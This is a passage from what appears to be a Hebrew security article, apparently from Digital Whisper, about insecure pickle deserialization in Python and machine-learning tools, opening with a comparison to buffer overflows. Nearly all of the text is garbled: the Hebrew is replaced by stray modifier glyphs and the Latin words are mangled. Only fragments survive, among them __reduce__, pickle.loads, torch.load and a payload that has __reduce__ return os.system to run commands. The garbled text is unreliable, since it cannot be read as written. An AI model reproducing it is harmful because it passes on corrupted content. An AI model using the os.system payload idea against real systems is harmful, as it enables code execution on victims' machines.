NPC  ˣ˞  ˶˟˰ˬ  ˪˦˶ˣ˲˟  Σ˶˴ˣˮ  ˟˴ˬ  ˣ˟˷  ˸˶˷ˢ  ˦ˮ˧˧˪˵ˢˣ   ˞ ˪  ˫˧ˬ˧˩˯ˬ  ˪˰  ˢ˪˞˷ˢ  ˧ˬ˪  ˨˧˧˷  ˳˲˥ˢ  Φ ˶ ˲˞˟ˢ  

˧ˮˬˤˢ ˪˷ ˸˶˷ˢ ˡ˶˷  ˸˞ ˵ˣ˸˧ˮˢ  Σ˳˲˥ˢˣ ˧˶ˣ˵ˬˢ  ˨ ˲ˢ ˭˧˟  ˰ˠ˶   ˧ ˮ˷˪  ˫ ˧˴˲˥ ˫˧ˢˤ  ˭˧˦ˣ˪˥˪Φ 

˫˧˪˧ˬ˟  ˸ˣ˶˥˞  Σˢ˷˪ˣ˥ˢ  ˢ˟˷˧   ˵ ˣˬ˰  ˭ˣ˪˷˩˟  ˪˷  ˢ˧˴ˤ˧˪˞˧˶˯ˡˢ  Φˡˣ˵ˢ   ˷ ˬ˧ˬ˷  ˸˞   ˱ ˴˶  ˸ˣ˰ˡˣˢ   ˫ ˧˦˧˧˟ˢ  

˥˧ˮˢ  ˭ˢ˷   l ˧ˬ˸  ˣ˰˧ˠ˧  ˶ˡ˯˟  ˧˵ˣ˥   ˧ ˮˣ˧ˠˢˣ  Σ˨ˬ˯ˣ  ύ˭˲ˣ˞˟  ˧˟˧˞ˮ  ό ˪ ˰   ˫ ˧˶˟˰ˬˢ   ˸ ˣ˰ˡˣˢ˷  ˣ˪˞  ˸ˣˠ˴˧˧ˬ  Φ ˱ ˵ˣ˸  

˦˪˷˷  ˫˶ˤ˟  ˫˧˦˧˧˟ˢ  ˦ˣ˷˲   ˥ ˵˪  ˸˞  ˸˩˶˰ˬˢ  ˫˧˟˴ˬ˪   ˫ ˧˧ˠˣ˪  ˫˧˥˸˲ˬˢ˷  ˢ˪˷   ˫ ˪ˣ˰ˬ  ˞˪  ˣˮˣˣ˩˸ˢ   ˰ ˧ˠˢ˪  

˫ˢ˧˪˞  Φ 

˪˟˞  ˨ ˣ˸˟  ˶˵˥ˬˢ ˪˷  x ˪˟˞˧ˡ  ˶˸˸˯ˬ  ˶ˣ˰˧˷   ˧ ˮ˷  Σ˧˸ˣ˰ˬ˷ˬ  ˢ˟˶ˢ˟  ˸˵˸˰ˢˬ  ˫˧˴˲˥ Σ˰˧˟˴ˬ˷ ˸ˣ˶˧˷˧  ˪ ˰  

˸ˣ˧˰˟ ˪˷  ˸ ˣ˥˧˦˟ ˭ˣ˶˩˧ˤ˟  ˭˸˧ˮ˷ ˪˴ˮ˪ ˧˶˥˞  ˸ ˞˧˴ˬ ˸˷˪ˣ˥  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  Φ 
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˫˧˶˵ˣ˥ˢ  ˣˬ˷  ˟˪  ˢ˟˶ˢ˟˷  ˸ˣ˪˧˟˥ˬ  ˰ˡ˧ˬˢ  Σ˨˶ˣ˞ˢ  ˪˷  ˰ˡ˧ˬˢ  ˡˡˣ˵  ˨ˣ˸˟  ˫˧˦˧˧˟ˢ  ˫ˬ˴˰  Φ˶ˬˣ˪˩  Σ ˦ ˮ˧˧˪˵ˢ  

 ˶ ˧ˡˠˢ   ˸ ˶˷˪  ˢˬ  ˢ˧ˢ˧   ˪ ˡˣˠˢ   ˪ ˷   ˦ ˵˞˲ˢ  ˥˪˷˧˷   x ˧˪˞  ˞ˣˢˣ  ˪˟˵˧ Φ   ˪ ˩   ˭ ˣˮˠˮˬ   s ˧˴ˤ˧˪˞˧˶˯ˡ   ˧ ˶˞ˮ˧˟   ˞ ˶ˣ˵˷   ˨ ˶ˣ˞  

˦˪˵  ˦˪˷ˮ˷  ˭˧˦ˣ˪˥˪  ˪˰  ˧ˡ˧  ˱˵ˣ˸  Σ ʕ ˞ˣ  ˵˧˸˰ˬ  ˸˞   ˶ ˲˯ˬ   ˫ ˧˦˧˧˟ˢ  ˢˤˢ  ˨ˣ˸˪  ˶˲˞˟  ˰ˣ˟˵  ˭ˣ˶˩˧ˤ˟  Σ ˞ ˴ˬˮ  

 ˵ ˥˶ˬ˟  ˪ ˷ ˸˵˧ˡ˟ ˸ˣˮ˧˵˸  ˸˥˞ ˢ˶˯˥ ˭ˣ˯˞ˬ ˪˷ buffer overflow Φ 

 x ˟˷˥˸   ˪ ˷ˬ˪   ˪ ˰   l ˣ˵ˢ  ˣˮ˧˞˶˷  ˫ˡˣ˵  ˦˪˵˷   ˭ ˵˥˷   ˷ ˡ˥  Σ˪˟˞  ˫˰˲ˢ   ˫ ˰   s ˡ˷   ˨ ˶ˣ˞   l ˣ˵ˢ˷  ˡ˴˟  ˸˶˷ˢ   ˨ ˬˣ˯  

ˣ˧˪˰ ˭˲ˣ˞˟ ˶ˣˣ˧˰ Υ 

 

 

˫˞  ˢˮ˸˷ˬˢ  len  ˥˪ˣ˷˷  ˱˵ˣ˸   ˧ ˮˣˡˤ  ˦ˮ˧˧˪˵ˢˬ   ˸ ˶˷˪   ˪ ˣˡˠ   ˬ мс  Σ˸˧˧˴˵ˮˣ˲  memcpy  ˢ˰ˣˡ˧ˢ   s ˴ˬ˷˪   ˞ ˪˩  

˸˥˦˟ˣ˞ˬ  ˨˧˷ˬ˸  ˟ˣ˸˩˪  ˭ˣ˶˩˧ˤ˟  ˢ˟˶ˢ  ˶˟˰ˬ  ˸ˣ˪ˣ˟ˠ˪  ˪˷  ˢˮ˸˷ˬˢ  name  ˯ˣ˶ˡ˸ˣ  ˸˞  ˸˧ˮ˯˥ˬˢ  Φ ˱ ˵ˣ˸  

˫˩˥ˣ˸ˬ  ˞˪   ˫ ˸˯  ˪˲˩˷˧  ˫˧˴˲˥  ˣ˞  ˪˧˲˧  ˸˞  ˵˥˷ˬˢ  Σ˞ˣˢ  ˶˥˟˧   ˸ ˞  ˫˧˦˧˧˟ˢ  ˫˧˲ˡˣ˰ˢ   x ˪˞ˢ  ˢ˦˴ˮ˧˲˟   ˧ ˡ˩  

 ˯ ˣ˶ˡ˪   ˸ ˞  ˸˟ˣ˸˩   s ˶ˤ˥ˢ  ύret address  ό ˪ ˷  ˢ˧˴˵ˮˣ˲ˢ  ˭ˣ˶˩˧ˤ˟  Σ˫ˣ˶ˠ˧ˣ  ˟˷˥ˬ˪   ˳ ˧˶ˢ˪  ˡˣ˵   ˧ ˮˣˡˤ  ˞ˣˢ˷   ˥ ˪˷  

ˣˬ˴˰˟ Φ 

) ˶ˣ˷˶˷ ˢ˪ ˸ˣ˷˰˪ ˥˧˪˴ˬˣ ˢ˧˴ˤ˧˪˞˧˶˯ˡ ˸˷˪ˣ˥ ˞˴ˣˬ ˱˵ˣ˸ ˫˞ ,˶ˬˣ˪˩chaining  ˪˷ ˫˧˩˶˰ˢ ˸˞ ˯ˣ˶ˡ˪ˣ (

  ˢ˟˶ˢ˷ ˨˧˶˴ˣ ˪ˣ˴˧ˮ˪ ˦ˣ˷˲ ˞˪˪ ˟˷˥ˮ˷ ˸ˣ˷˪ˣ˥ ˪˷ ˱˴˶˟ ˶˟ˣˡˬ .˧ˮˣˡˤ ˡˣ˵ ˳˧˶ˢ˪ ˪ˣ˩˧ ˞ˣˢ ,˸˧ˮ˯˥ˬˢ

 .ˢ˧˴ˤ˧˪˞˧˶˯ˡ ˪˷ ˭ˣˮˠˮˬ˪ ˸ˣ˶˧˷˧ ˸ˣ˷˪ˣ˥ ˵˧˶ˤˢ˪ ˧ˡ˩ "ˣ˶ˡ˸˯˧" ˫˧ˬ˶ˣˠ 

ˤ˞ˣ ˰˧ˠˢ pickle   ˪ ˷ ˭ˣ˸˧˧˲ Φ 

 

ǇƛŎƪƭƛƴƎ  ˭ ˣ˸˧˧˲˟ 

˭ˣ˸˧˧˲  ˢ˰˧ˠˬ  ˫˰  ˪ˣˡˣˬ  ˢˮ˟ˣˬ  ˢ˧˧˶˲˯˟  ˸˧˦˶ˡˮ˦˯ˢ  ˪˷  ˢ˲˷ˢ  ˞˶˵ˮ˷  pickle  ˡ˧˵˲˸ˢ˷  ˣ˪˷  ˞ˣˢ   ˰ ˴˟˪  

ˢ˧˴ˤ˧˪˞˧˶˯  ˢ˧˴ˤ˧˪˞˧˶˯ˡˣ   ˫ ˧˦˵˧˧˟ˣ˞˪  ˫˧˧ˮˣ˸˧˧˲  Φ ˭ ˣˮˠˮˬ  ˢ˧˴ˤ˧˪˞˧˶˯ˡˢ  ˪˷  ˭ˣ˸˧˧˲   ˞ ˪   ˫ ˸˯   ˶ ˧˟˰ˬ  ˰ˡ˧ˬ  Σ ˞ ˣˢ  

˫ˠ  ˪ˣ˩˧   ˭ ˲ˣ˞˟  ˶˧˷˧  ˳˧˶ˢ˪  ˸ˣˡˣ˵˲  ˸˩˶˰ˬ˟  ˢ˪˰˲ˢˢ  ˭˲ˣ˞˟  ˶˧˷˧   ˧ ˪˟ˬ  ˷ˬ˸˷ˬˢ˷  ˨˧˶˴  ˯ˣ˶ˡ˪  ˫ˣ˷   ˨ ˶˰  

˸˧ˮ˯˥ˬ˟  ˣ˞  ˪˴ˮ˪ ˪˩ ˢ˷˪ˣ˥ Φ 

˪˟˞   ˰ ˠ˶  Σ˵˥˷ˬ˟  ˪˷  ˣ˪˟˞˧ˡ  ˣˮ˧˞˶  ˪ˣˢ˧ˮ˷  ˞˪  ˭ˣ˩ˮ  ˪˷  ˢ˧˴ˤ˧˪˞˧˶˯ˡ  ˪ˣ˪˰  ˫ˣ˶ˠ˪  ˢ˴˶ˢ˪  ˪˷  ˡˣ˵  ˧ˮˣˡˤ  ˪˰   ˧ ˡ˧  

 ˱ ˵ˣ˸ˢ   ˫ ˰   ˶ ˷˶˷˧   x ˸ˣ˞   ˫ ˰  ˢ˲˵˸ˬ  ˸˲˯ˣˮ  Φ ˫ ˞  ˨˩  ˢ˪ˣ˰   s ˪˞˷ˢ   ς   ˢˬ˪   ˫ ˴˰˟   ˭ ˣ˸˧˧˲  ˸˶˷˲˞ˬ   ˫ ˧˷ˬ˸˷ˬ˪  
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ˢ˪˷  ˷ˬ˸˷ˢ˪  ˭ˣˮˠˮˬ˟   ˞ ˪ ˥˦˟ˣ˞ˬ  ˪ˣ˩˧˷  ˸˸˪  ˱˵ˣ˸˪  ˳˧˶ˢ˪ ˡˣ˵ ˧ˮˣˡˤ   ˪ ˰ ˢˮˣ˩ˬˢ  x ˮ˪˷ ˭˲ˣ˞˟  ˶ ˧˷˧ Κ 

 

 

˫˧ˠˡˮ ˸˞ˤ ˸ˣ˰˴ˬ˞˟  ˸ ˧ˮ˩ˣ˸  ˸˧˦˶ˡˮ˦˯   ˭ ˣ˸˧˧˲˟ ˸˷ˬ˸˷ˬ˷ ˟pickle Υ 

 

 

˫˧˷ˮ  ˟˪   ˷-ǇƛŎƪƭŜ   l ˡˣ˵ˬ   ˸ ˞   ˰ ˡ˧ˬˢ   x ˮ˪˷  ˢ˩˩  ˡ˴ˢ˷  ˧ˮ˷ˢ  ˪˩ˣ˧   ˶ ˤ˥˷˪  ˣ˸ˣ˞  Φ ˫ ˞  ˳˧˶ˮ  ˸˞  ˸˧ˮ˩ˣ˸ˢ   ˪ ˟˵ˮ  

˸˞ ˦˪˲ˢ ˞˟ˢ Υ 

 

 

˟ˣ˶   ˧ ˰ˣˮˬ  ˢ˧˴ˤ˧˪˞˧˶˯ˡˢ  ˣˬ˩  ˪ ˷ˬ˪  Ƨǎƻƴ  ˫ˢ  ˫˧˷˲˧˦  ˢ˶˧˥˟ˬ  Φ˫ˢ  ˫˧˶˞˸ˬ   ˰ ˡ˧ˬ  ˷˟˧  Υ˫˧˶˲˯ˬ  Σ ˸ ˣˤˣ˶˥ˬ  Σ

 ˸ ˣˬ˧˷˶  ˸ˣ˲ˬˣ  Φ˭˧˞  ˫ˢ˪   ˫ ˣ˷   ɣ ˷ˣˬ  ˣ˞   ˸ ˪ˣ˩˧  ˡ˧ˠˢ˪   ˟ ˷˥ˬ˪  Ϧ˳˧˶˸  ˸˞   s ˧˴˵ˮˣ˲ˢ  ˣˤˢ  ˣ˧˷˩˰  ΦϦǇƛŎƪƭŜ  ˢˮˣ˷  

˫ˢˬ  ˨˩˟  ˞ˣˢ˷  ˞˪  ˵˶  ˢˮˣ˟  ˸˞  ˦˵˧˧˟ˣ˞ˢ  Σ˞˪˞  ˨˩˟  ˞ˣˢ˷  ˷ˬ˷ˬ  ˶ˣ˸˟  ˸˩˶˰ˬ  ˸˧˪˞ˣ˦˶˧ˣ  ˢˮ˦˵   ˸ ˯˯ˣ˟ˬ˷  

˪˰  ˸˧ˮ˯˥ˬ  Φ˟ˣ˷˥  ˭˧˧˴˪  ˭ˣˮˠˮˬ˪˷  ˪˷  ˪˵˧˲  ˳˧˶ˬ˷  ˸˞  ˸ˣˡˣ˵˲ˢ  ˫˧˯˥˧˧˸ˬ  ˢ˟˶ˢ  ˫˧ˬ˰˲  ˶ˣ˸˟  tƛŎƪƭŜ 

±ƛǊǘǳŀƭ aŀŎƘƛƴŜ  Σ˪˟˞  ˸ˣ˶ˬ˪ ˫˷ˢ  ˣ˪˷   ˞ ˪ ˶˟ˣˡˬ  ˢˮˣ˩ˬ˟  ˸ ˧˪˞ˣ˦˶˧ˣ  ˸ ˧˞ˬ˴˰  ˫ ˰ ˪ˮ˶˵ ˪˷ˬ  ˢˬ˴˰   s ˴˶˷  

 ˪ ˰  πsƘȅǇŜǊǾƛǎƻǊ   ˞ ˪˞  ˭ˣˮˠˮˬ˟   ˧ ˥˷   ˶ ˣ˸˟  πsƛƴǘŜǊǇŜǘŜǊ  ˪˷  ǇȅǘƘƻƴ Φ   ˫ ˶ˤ   ˫ ˧˦˧˧˟ˢ   ˷-ǇƛŎƪƭŜ   ˶ ˴˧˧ˬ   ˞ ˣˢ  

ˢ˷˰ˬ˪  ˸˧ˮ˩ˣ˸  ˟˷˥ˬ   s ˮ˦˵  ˢ˟ˣ˸˩˷  ˸˲˷˟  ƻǇŎƻŘŜ  Φ˫˸˞˷˩  ˫˧˞˶ˣ˵  ˢ˧˴˵ˮˣ˲˪  ǇƛŎƪƭŜΦƭƻŀŘǎ  Σ ˭ ˣˮˠˮˬˢ  
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˧ˬ˧ˮ˲ˢ  ˪˷  ˭ˣ˸˧˧˲   ˦ ˣ˷˲  ˳˧˶ˬ ˸˞  ˸ˣˡˣ˵˲ˢ   x ˪˞ˢ  ˸˥˞  ˧ ˶˥˞   s ˧˧ˮ˷ˢ  Υ˱˥ˡ˸ ˸˞   ˸ ˤˣ˶˥ˬˢ  ˣˤˢ Σˢˮ˟˸   ˭ ˣ˪˧ˬ  Σ

˞˟˧˧˸   ˸ ˞   ˪ ˣˡˣˬˢ  ˢˤˢ  Σ˞˶˵˸ˣ   s ˧˴˵ˮˣ˲˪  ˣˤˢ  ˫˰  ˫˧˶˦ˬ˶˲ˢ  ˣ˪˞ˢ  Φˢ˧˧ˮ˟  ˷ˡ˥ˬ  ˪˷  ˫˧˦˵˧˧˟ˣ˞   ˪ ˰  ˧ˡ˧   ˸ ˴˶ˢ  

 l ˣ˵  ˞˧ˢ   ˞ ˪  ˸ˣ˰˦   x ˞   ˶ ˯ˣ˥  ˸ˬˣ˷˸   ˟ ˪   ˪ ˷  ˫˧˥˸˲ˬˢ  Σ˞˧ˢ  ˢ˶ˣ˦˵˦˧˩˶˞ˢ   s ˧˪˰˷  ˭ˣˮˠˮˬˢ  ˢˤˢ  ˢˮ˟ˮ  

ˢ˪˧˥˸˩˪ˬ  Φ˶ˬˣ˪˩ Σ˴˧˲ϥ ˶  ˞ ˪ˣ ˠ˞˟  Φ 

ˢˬ˪ ˣˢ˷˧ˬ˷ ˪˪˩˟  ˢ˴˶˧   ˶ ˟ˡ ˢˤ˩ Κ˧˩ ˫˧˦˵˧˧˟ˣ˞  ˭ˣ˸˧˧˲˟ ˫ˢ ˢ˟˶ˢ ˶˸ˣ˧ ˫˧ˮˣˣˠˬ ˫˧˟˩˶ˣˬˣ ˲˧˧˦ˢˬ  ˧ ˯˧˯˟ˢ  

 ˪ ˷  Ƨǎƻƴ  ΦǇƛŎƪƭŜ  ˱˞ˣ˷  ˶˧˟˰ˢ˪   l ˴ˬ   l ˴˪  ˦˰ˬ˩  ˪˩   ˶ ˟ˡ  ˫˧˧˵˷  ˢ˲˷˟  Υ ˫ ˧˯˞˪˵  ˫˧ˬ˞˸ˣˬ  ˸˧˷˧˞  Σ ˫ ˧˲˶ˠ  

 ˫ ˧˩˟ˣ˯ˬ  ˪˷  ˫˧˦˵˧˧˟ˣ˞  ˫˰   ˫ ˧˶˷˵  ˫˧˧˪ˠ˰ˬ   ύ˪˷ˬ˪  ˫˞  ˣ˸ˣ˞   ˦ ˵˧˧˟ˣ˞  ˰˧˟˴ˬ  ˣˬ˴˰˪  ˤ˞  ˢ˴˶ˮ   ˶ ˧˟˰ˢ˪   x ˸ˣ˞  

ˢ˶ˣ˴˟  ˢˮˬ˞ˮ  ˧˪˟ˬ  ˯ˮ˩˧ˢ˪  ˢ˞˪ˣ˪˪  Σό˫˧˩˶˰ˬ  ˪˷  ˢ˧˧˶˲˯ˢ  bǳƳtȅ  ˫˧˪ˡˣˬˣ  ˫˧ˮˣ˷   ˪ ˷  ˸ˡ˧ˬ˪  ˢˮˣ˩ˬ   x ˬ˩  

tȅ¢ƻǘŎƘ  Φ 

˧ˡ˩  ˶ˤ˥˷˪  ˦˵˧˧˟ˣ˞  ˟˩˶ˣˬ  ˢ˶ˣ˴˟  ˢˮˬ˞ˮ  ˶ˣ˵ˬ˪  Σ˶ˤ˧˧˪˶˯ˡˢ  ˸ˬ˞˟  ˟˧˧˥  ˞ˣ˶˵˪  ˡˣ˵˪  ˶˴˧˧ˬ˷  ˣ˸ˣ˞  Φ ˶ ˟ˡˢ  

˶˷˲˞ˬ˷  ˫˯˵˪ ˢˤˢ  ˸ˣ˶˵˪  ˞ˣˢ  ˸ ˧˧˴˵ˮˣ˲ ˶ˡˮ˞ˡˢ ψψǊŜŘǳŎŜ  Φψψ 

˭ˣ˸˧˧˲˟  Σ˸˧˧˴˵ˮˣ˲   ˶ ˡˮ˞ˡ  ύŘǳƴŘŜǊ ŦǳƴŎǘƛƻƴ  ό˞˧ˢ  ˢˡˣ˸ˬ  ˸˧ˮ˟ˣˬ   ˸ ˡ˥ˣ˧ˬ  ˢ˪˧˥˸ˬ˷   ˸ ˬ˧˧˸˯ˬˣ  ˣ˵˟   ˭ ˣ˸˥˸  

˪ˣ˲˩  ύ˭˞˩ˬˣ  ˫˷ˢ  ŘǳƴŘŜǊ  ˞ˣˢ˷   ˶ ˣ˴˧˵   ˪π5ƻǳōƭŜ ¦ƴŘŜǊǎŎƻǊŜ  Σό ˸ ˶˷˲˞ˬˢ  ˫˧˦˵˧˧˟ˣ˞˪  ˵˷ˬˬ˸ˢ˪   ˫ ˰  

˧ˮˣˮˠˮˬ  ˢ˲˷ˢ  ˫˧˧ˬ˧ˮ˲ˢ  Φˢ˶˵ˬ˟   ˪ ˷  ˸˧˧˶˲˯  ǇƛŎƪƭŜ  Σ˸ˡˣ˸ˬ  ψψǊŜŘǳŎŜ  ψψ ˸ ˷ˬ˷ˬ   ˭ ˧˰ˬ˩  Ϧ ˸ ˡˣ˰˸   ˸ ˣˢˤ  

˨˧˶ˡˬˣ ˢ˟˩˶ˢ  Ϧ˦˵˧˧˟ˣ˞ˢ˷ ˞˷ˣˮ  ˣˬ˰  Φ 

˶˷˞˩  ˸˧ˮ˩ˣ˸  ˭ˣ˸˧˧˲˟  ˸˰˴˟ˬ  ˢ˧˴ˤ˧˪˞˧˶˯  ύ˨˧˪ˢ˸  πsǇƛŎƪƭƛƴƎ  Σό˞˧ˢ  ˢ˴˧˶ˬ  ˸˞  ˢ˧˴˵ˮˣ˲ˢ  ˣˤˢ  Σ ˦ ˵˧˧˟ˣ˞ˢˣ  

ˣˡ˧˴ˬ  ˶˧ˤ˥ˬ  ˢ˪  ˢ˟ˣ˷˸˩  ˪˲˞˦  ύ¢ǳǇƭŜ  ό˪˧˩ˬˢ  ˢ˧˴˵ˮˣ˲  ˸ˬ˧ˣ˯ˬ  ˸˞ˣ  ˫˧˦ˮˬˣˠ˶˞ˢ  ˫˧˷ˣ˶ˡˢ  ˢ˪  Φ˨˩˟  Σ ˪ ˩  

 ˦ ˵˧˧˟ˣ˞  ˪ˣ˩˧   l ˧ˠˢ˪   ˪-ǇƛŎƪƭŜ   ˭ ˲ˣ˞˟  ˷˶ˣ˲ˬϦ Υ˰ˬ˷  Σ˧ˡ˩  ˸ˣˮ˟˪   ˧ ˸ˣ˞   ˷ ˡ˥ˬ  ˡ˴˟  ˧ˮ˷ˢ  Σ ˞ ˶˵˸   s ˧˴˵ˮˣ˲˪   x ˤˢ  

˫˰  ˫ ˧˦ˮˬˣˠ˶˞ˢ ˣ˪˞ˢ ΦϦ 

˭ˣˮˠˮˬˢ  ˧˦ˬˣ˦ˣ˞ˢ  ˢˤˢ   ˥ ˸ˣ˲  ˥˸˲   ˟ ˥˶  ˞˪  ˵˶  ˸ˣ˷˧ˬˠ˪  ˸˧˸ˣˮ˩˸  Σ˞˪˞  ˫ˠ  ˪ˣ˴˧ˮ˪  ˧ˮˣˡˤ  ˫˪ˣ˰˟   ˸ ˥˦˟˞  

˰ˡ˧ˬˢ  Φ l ˣ˰˟   ˫ ˧˸ˮ˩˸ˬ˷   ˫ ˧˷ˬ˸˷ˬ  ˸ˣ˧˴˵ˮˣ˲˟  ˶ˡˮ˞ˡ  ˸ˣ˴ˣ˲ˮ   x ˬ˩  ψψƛƴƛǘ ύ ψψ ˪ ˣ˥˸˞˪  ˫˧˦˵˧˧˟ˣ˞  ό x ˞  

ψψǎǘǊ ύ ψψ˸˶ˡˠˢ˪   ˸ ˤˣ˶˥ˬ  ˦˯˵˦  ˸˧˟˧˦˪ˣ˲˧ˡ  Σό ˫ ˧˲˵ˣ˸  ˫˧˪ˣ˩˧   ˯ ˥˧˧˸ˢ˪  ˸ˣ˧˴˵ˮˣ˲˪   x ˪˪ˢ  ˪˞˩   Ϧˠˡ˞ˠϥ˫˧˦  Ϧ ς  

 ˧ ˰˦˵ ˡˣ˵  ˫˧˧ˬ˧˦˧ˠ˪ ˫˧ˬ˧˧˵ˢ  ˢ˲˷˟  x ˞ ˢ˧˴˵˧˪˲˞˟ Σ ˫ ˸ˣ˞˷ ˭˸˧ˮ  ˪˴ˮ˪  ˸ˣ˶˦ˬ˪ ˢ˲˧˵˸  Φ 

˭ˣˣ˧˩ˬ  ˰ˣˮˬˢ˷  ˪˷  ǇƛŎƪƭŜ  ˪˰ˣ˲  ˢ˶ˣ˴˟  ˸˶ˣˣ˧˰  ˰˴˟ˬˣ  ˸˞   ˸ ˣ˞˶ˣˢˢ  ˸ˣ˰˧˲ˣˬ˷  ˨ˣ˸˟  ψψǊŜŘǳŎŜ  ψψ˞˪˪   ˫ ˣ˷  

˭ˣˮ˧˯  Σˢ˵˶ˤˢ  ˪˷  ǇƛŎƪƭŜ  ˪˧˩ˬˢ  ˸ˣˡˣ˵˲  ˸˩˶˰ˬ  ˸ˣ˷˧ˠ˶   ˪ ˧˟ˣ˸  ˢ˴˶ˢ˪  ˸˧ˡ˧˧ˬ   ˭ ˢ˪˷  ˭ˬˤ˟  ˢ˧˴ˤ˧˪˞˧˶˯ˡˢ  Φ

ˢ˶ˣ˴˟  ˣˤ  Σ˭ˣˮˠˮˬ  ˶ˣˤ˥˷   ˫ ˧ˬ˸  ˨˲ˣˢ  ˵˷ˮ˪  ˧ˮ˪˦˵  ˶˷˲˞ˬˢ  ˱˵ˣ˸˪  ˠ˧˷ˢ˪  ˢ˦˧˪˷  ˢ˞˪ˬ  ˪˰  ˸˶˷ˢ   ˳ ˧˶ˬˢ  

˸˞ ˡˣ˵ˢ Φ 

˫˧ˠˡˮ ˡ˴˧˩ ˢ˞˶ˮ ˡˣ˵  ˢˤ˩˷  ˸ ˣ˰˴ˬ˞˟  ˭ ˥˪ˣ˷ˢ  ˶ ˟˥ˢ˷ ˞˧˟ˢ  x ˮ˪ Υ 
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˴˧˲ˢϥ˶  ˢˤˢ  ˵˧ˤ˥ˬ  ˪˰  ˟ˠˢ  ˣ˪˷  ˫˧˵˪˥  ˫˧ˬˣ˴˰  ˪˩ˬ  ˫˦˯˧˯ˣ˵˞ˢ  ˪˷  ˸ˡ˧ˬ˪  ˢˮˣ˩ˬ  ˢˮ˧˟ˣ  ˸˧˸ˣ˩˞˪ˬ  Φ ˫ ˧˪ˡˣˬ  

˪˷  ǎŎƛƪƛǘ ƭŜŀǊƴ   ˫ ˧˶ˬ˷ˮ  ˦˶ˡˮ˦˯˩  ˸ˣ˰˴ˬ˞˟  ǇƛŎƪƭŜ  ˣ˞  Ƨƻōƭƛō  ύ˞ˣˢ˷  ˫˴˰˟  ˢ˲˧˦˰  π˪ǇƛŎƪƭŜ  Φόˣ˪˧˲˞  ˨ˣ˸˟  

 ˸ ˣ˧˶˲˯   ˵ ˮ˰  ˣˬ˩  tȅ¢ƻǊŎƘ  Σ ˸ ˣ˧˴˵ˮˣ˲  ˢ˶˧ˬ˷ˢ   s ˮ˧˰˦ˢˣ   ˸ ˣ˧˶˪ˣ˲ˣ˲ˢ  ǘƻǊŎƘΦǎŀǾŜ  πxǘƻǊŎƘΦƭƻŀŘ   ˸ ˣ˷ˬ˸˷ˬ  

˸˶˧˶˟˩  ˪ ˡ˥ˬ ˦ˬ˶ˣ˲˟ ˯˯ˣ˟ˬ˷ ˪˰ ǇƛŎƪƭŜ Φ 

ˡˣ˰˧˸ˢ   ˧ ˬ˷˶ˢ   ˪ ˷  ˭ˣ˸˧˧˲  ˞˪  ˢ˯ˮˬ   ˶ ˧˸˯ˢ˪  ˸˞  ˢˮ˩˯ˢ  ˣˤˢ  Σ˞ˣˢ  ˥˸ˣ˲  ˢ˸˧˞  ˢ˶ˢˤ˞˟  ˢ˶ˣˬ˥  ˰˟˴˟   ˫ ˣˡ˞  

 ˵ ˢˣ˟Ϧ Υ˪ˣˡˣˬ sπǇƛŎƪƭŜ ˣˮ˧˞ ˥˦˟ˣ˞ˬ  Φˣ˰˴˟ ˢ˧˴ˤ˧˪˞˧˶˯ˡ   ˨ ˞ ˵˶ˣ ˰ˡ˧ˬ˪ ˫˸˞˷ ˫˧˩ˬˣ˯  ˣ˧˪˰ ΦϦ 

 

 

  ˧ˡ˩ ˣ˪˷ ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ ˫˧˪˴ˮˬˣ ,ˢˤˢ ˫˧ˬ˸ˢ ˠˮ˧˪˵˧˲ˢ ˭ˣˮˠˮˬ ˸˞ ˫˧˥˵ˣ˪ ˨˧˞ ˵ˣ˧ˡ˟ ˢ˞˶ˮ ˞˟ˢ ˟˪˷˟

 .˸˶˷ˢ ˪˰ ˸ˣ˧ˮˣˡˤ ˸ˣˡˣ˵˲ ˳˧˶ˢ˪ 

 

˨˧˞  ˫ ˧˲˵ˣ˸  ˫ ˧˪˴ˮˬ ˸˞ ǇƛŎƪƭŜ Κ 

ˢ˸ˣ˞  ˢ˧˴˵ˮˣ˲  ˪˷  ψψǊŜŘǳŎŜ  ψψ˸˶˷˲˞ˬ˷  ˦˵˧˧˟ˣ˞˪   ˸ ˣˮ˟˪  ˸˞  ˣˬ˴˰  ˷ˡ˥ˬ  Σ ˸ ˶˷˲˞ˬ  ˱˵ˣ˸˪   ˷ ˵˟˪   s ˮˬˬ 

 ˰ ˴˟˪   ˪ ˩  ˢˬ  ˢ˪ˣ˰˷   ˪ ˰   x ˸˰ˡ  Φ ˸ ˧˧˴˵ˮˣ˲   ψψǊŜŘǳŎŜ  ψψˢ˶˧ˤ˥ˬ   ˦ ˵˧˧˟ˣ˞  ˭˸˧ˮ˷   s ˞˧˶˵˪  ύŎŀƭƭŀōƭŜ    όˡ˥˧   ˫ ˰  

 ˫ ˧˦ˮˬˣˠ˶˞ˢ  ˣ˪˷  Σ˫ˣ˷ˣ   ˶ ˟ˡ  ˢ˶ˡˠˢ˟  ˸˧˟˧˦˪ˣ˲˧ˡˢ   ˪ ˷  ˭ˣ˸˧˧˲   ˞ ˪  ˷˶ˣˡ  ˦˵˧˧˟ˣ˞ˢ˷   s ˤˢ  ˢ˧ˢ˧  ˧˞ˮ˟   ˫ ˧ˬ˸  

˪˧ˠ˶ˣ  Φ˸ˣˡˣ˵ˮ  ˢ˲˶ˣ˸ˢ  ˸ˮ˩ˣ˯ˬˢ  ˞˧ˢ  ˫˴˰˟  ˢ˧˴˵ˮˣ˲ˢ  ˸˧˟˧˦˧˧ˮˢ  ˪˷  ˭ˣ˸˧˧˲  ΥǇƛŎƪƭŜΦƭƻŀŘǎ  ˢ˞˟˷  ˫˧ˬ˰˲˪   ˫ ˠ  

˸ˣ˲˧˦˰˟  ˪˷  ˡ˴  ˧˷˧˪˷   x ˬ˩  ƧǎƻƴǇƛŎƪƭŜΦŘŜŎƻŘŜ  Φ˰ˠ˶˟  ˸˥˞˷  ˢ˪˞ˬ  ˸˰ˠˣˮ  ˫˧˦˧˧˟˟  ˫˧˦˪˷ˮ˷  ˪˰  ˧ˡ˧   ˱ ˵ˣ˸  Σ

http://www.digitalwhisper.co.il/
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˱˵ˣ˸ˢ  ˦˪ˣ˷ ˭˧˦ˣ˪˥˪  ˡˣ˵˟  ˳ˣ˶˧˷Φ 

πsǇŀȅƭƻŀŘ  ˧ ˯˧˯˟ˢ  ˦ ˣ˷˲ˢˣ ˶˸ˣ˧˟  ˫˶ˣˠ  π˪ψψǊŜŘǳŎŜ  ψψ˶˧ˤ˥ˢ˪ ˸˞ ƻǎΦǎȅǎǘŜƳ  Φ 

 

 

